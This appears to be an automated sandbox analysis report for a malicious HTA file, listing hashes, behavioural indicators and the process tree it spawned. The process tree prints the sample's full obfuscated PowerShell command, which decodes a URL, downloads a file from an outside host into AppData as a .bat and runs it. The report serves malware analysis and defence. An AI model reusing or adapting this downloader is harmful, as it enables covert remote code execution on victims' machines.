Analysis
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max time kernel
150s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
31/05/2024, 01:18
Static task
static1
Behavioral task
behavioral1
Sample
6840b6d84f7c7190424fd465e466e2477e7c8a781457e2c6dcd523df498cea3d.hta
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
6840b6d84f7c7190424fd465e466e2477e7c8a781457e2c6dcd523df498cea3d.hta
Resource
win10v2004-20240426-en
General
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Target
6840b6d84f7c7190424fd465e466e2477e7c8a781457e2c6dcd523df498cea3d.hta
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Size
48KB
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MD5
8ec81411709c0d3ca73859814204cd71
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SHA1
7da6542e29c888d65a857cf5876ed8e9e6524510
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SHA256
6840b6d84f7c7190424fd465e466e2477e7c8a781457e2c6dcd523df498cea3d
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SHA512
ece006bb69841cf02d64c95c0534376934fa073b89eab8f85cc3323f647f1a326198d56cad9666d5b6152e763e2859e945e8794a877c75808f224b27201eec14
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SSDEEP
768:SOLDbrv8XXl7qCk0BU6zoWvXqfM0JYJ4Tpdsfq0H5wj/:SObstqCdoWvXqfM0JY40Kj
Malware Config
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation mshta.exe -
pid Process 2516 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2516 powershell.exe 2516 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2516 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2596 wrote to memory of 2516 2596 mshta.exe 82 PID 2596 wrote to memory of 2516 2596 mshta.exe 82 PID 2596 wrote to memory of 2516 2596 mshta.exe 82
Processes
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C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\6840b6d84f7c7190424fd465e466e2477e7c8a781457e2c6dcd523df498cea3d.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2596 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function pYUxYe($YX, $ed){[IO.File]::WriteAllBytes($YX, $ed)};function eYJrvvozw($YX){if($YX.EndsWith((atHcQU @(22670,22724,22732,22732))) -eq $True){Start-Process (atHcQU @(22738,22741,22734,22724,22732,22732,22675,22674,22670,22725,22744,22725)) $YX}else{Start-Process $YX}};function QJVAx($F){$J = New-Object (atHcQU @(22702,22725,22740,22670,22711,22725,22722,22691,22732,22729,22725,22734,22740));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$ed = $J.DownloadData($F);return $ed};function atHcQU($Z){$h=22624;$OK=$Null;foreach($Pw in $Z){$OK+=[char]($Pw-$h)};return $OK};function ROmYsTcn(){$nmYSjx = $env:APPDATA + '\';$JkqUaMTnM = QJVAx (atHcQU @(22728,22740,22740,22736,22739,22682,22671,22671,22743,22721,22732,22732,22677,22740,22727,22728,22726,22678,22726,22724,22727,22670,22721,22736,22729,22670,22735,22736,22725,22734,22739,22735,22741,22738,22723,22725,22739,22721,22721,22739,22670,22735,22738,22727,22671,22714,22703,22724,22723,22726,22702,22741,22735,22671,22733,22745,22744,22743,22738,22677,22723,22732,22729,22670,22722,22721,22740));$lVBjIvqD = $nmYSjx + 'myxwr5cli.bat';pYUxYe $lVBjIvqD $JkqUaMTnM;eYJrvvozw $lVBjIvqD;;;;}ROmYsTcn;2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2516
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82